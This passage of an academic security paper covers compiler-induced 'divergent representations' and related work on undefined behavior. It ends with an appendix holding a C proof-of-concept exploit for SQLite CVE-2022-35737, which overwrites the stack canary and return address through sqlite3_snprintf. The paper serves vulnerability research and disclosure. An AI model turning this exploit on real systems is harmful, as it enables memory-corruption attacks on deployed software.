are applied, and they implemented a system to search for
such instances of unstable code. Their efforts were motivated
by several high-impact real-world vulnerabilities caused by

compiler optimizations applied to unstable code [39], [40],
most notably CVE-2009-1897 in the Linux kernel [12], [13].

D’Silva et al. [1] described the “correctness security gap”
that arises when correct compiler optimizations produce code
with security weaknesses. They identify three classes of secu-
rity weaknesses that can be introduced by compiler optimiza-
tions: 1) information leaks through persistent state; 2) elimina-
tion of security-relevant code due to undefined behavior; and
3) introduction of side-channels. All three of these categories
describe types of vulnerabilities that can be introduced by
compiler optimizations. Notably, divergent representations do
not fit into any of the three classes described because divergent
representations exist in a class of security weakness that
depends on an already existing vulnerability.

B. Compiler optimizations that affect the exploitability of
existing vulnerabilities

Divergent representations are created by optimizing com-
pilers and allow attackers to exploit optimized programs more
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easily than the unoptimized versions of the same source
software. Code-reuse gadgets are also compiled code patterns
that enable exploitation of vulnerabilities. Brown et al. [3]
studied the effects of compiler optimizations on the prevalence
and quality of code-reuse gadgets in compiled programs. They
found that compiler optimizations introduce high rates of new
code-reuse gadgets and produce gadgets that are generally
more useful to attackers. This is the only work that we are
aware of that studies the effects of compiler optimizations that
enable exploitation of vulnerable code.

C. Compiler optimizations and undefined behavior
Compilers make assumptions about undefined behavior in

programs when applying optimization transformations to the
code. The divergent representations that we describe are the
result of applying optimizations under the assumption that the
source program does not allow undefined behavior. Lee et al.
[27] show that undefined behavior can be tricky to reason
about when selecting justifiable optimizations to apply. Other
work has studied how undefined behavior in the C specification
is defined in comparison to how it is treated in practice in
compiler implementations [41]. Ertl studied the performance
benefits of optimizing compilers that make transformation
assumptions based on the assumption that undefined behavior
does not exist in input programs [42]. Wang et al. argued
that problems that arise from undefined behavior should be
addressed and not dismissed [43].

VIII. CONCLUSION

Divergent representations are a newly discovered byproduct
of compiler optimizations that enable exploitation of existing
vulnerabilities. Divergent representations do not pose security
risks by themselves, but they do enable exploitation when
coupled with vulnerabilities, similar in nature to code-reuse
gadgets that enable return-oriented-programming attacks.

In this paper, we defined divergent representations and
showed how divergent representations add new program states
for attackers to abuse. We conducted a case study of SQLite
CVE-2022-35737 to show that a divergent representation
can enable the exploitation of well tested, widely deployed
software. We wrote search queries to identify other potential
divergent representations, and found that candidate code pat-
terns appeared in 44% of the C and C++ repositories that we
scanned.
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APPENDIX

1 /*
2 * Exploit will set saved return address to 0xdeadbeefdeadbeef and stack canary
3 * to 0xbaadd00dbaadd00d when sqlite3_str_vappendf returns. Can confirm by
4 * executing this program and observing a stack check fail, or by executing in
5 * gdb and inspecting the frame prior to stack check fail.
6 *
7 * A real canary value will have a NULL byte, which would defeat this specific
8 * exploit, but other format string values could allow an attacker multiple
9 * opportunities to overwrite the stack values and set a NULL byte

10 * appropriately.
11 *
12 * Exploit depends on:
13 * - A priori knowledge of canary value (e.g. 0xbaadd00dbaadd00d)
14 * - Format string specifier set to "!q"
15 */
16 #include <assert.h>
17 #include <stdio.h>
18 #include <stdint.h>
19 #include <stdlib.h>
20 #include <string.h>
21 #include <sqlite3.h>
22

23 // Offsets relative to sqlite3_str_vappendf stack frame base. Calculated using
24 // the version of libsqlite3.so.0.8.6 provided by apt on Ubuntu 20.04.
25 #define RETADDR_OFFSET 0
26 #define CANARY_OFFSET 0x40
27 #define BUF_OFFSET 0x88
28 #define CANARY 0xbaadd00dbaadd00dull
29 #define ROPGADGET 0xdeadbeefdeadbeefull
30 #define NGADGETS 1
31

32 struct payload {
33 uint8_t padding1[BUF_OFFSET-CANARY_OFFSET];
34 uint64_t canary;
35 uint8_t padding2[CANARY_OFFSET-RETADDR_OFFSET-8];
36 uint64_t ropchain[NGADGETS];
37 }__attribute__((packed, aligned(1)));
38

39 int main(int argc, char *argv[]) {
40 char dst[256];
41 struct payload p;
42 memset(p.padding1, ’a’, sizeof(p.padding1));
43 p.canary = CANARY;
44 memset(p.padding2, ’b’, sizeof(p.padding2));
45 p.ropchain[0] = ROPGADGET;
46

47 size_t target_n = 0x80000000;
48 assert(sizeof(p) + 3 <= target_n);
49 size_t n = target_n - sizeof(p) - 3;
50 size_t target_i = 0x100000000 + (sizeof(p) / 2);
51

52 char *src = calloc(1, target_i);
53 if (!src) { printf("bad allocation\n"); return -1; }
54

55 size_t cur = 0;
56 memcpy(src, &p, sizeof(p));
57 cur += sizeof(p);
58 memset(src+cur, ’\’’, n/2);
59 cur += n/2;
60 assert(cur < 0x7ffffffeul);
61 memset(src+cur, ’c’, 0x7ffffffeul-cur);
62 cur += 0x7ffffffeul-cur;
63 src[cur] = ’\xc0’;
64 cur++;
65 memset(src+cur, ’\x80’, target_i - cur);
66 cur = target_i;
67 src[cur-1] = ’\0’;
68

69 sqlite3_snprintf((int) 256, dst, "’%!q’", src);
70 free(src);
71 return 0;
72 }
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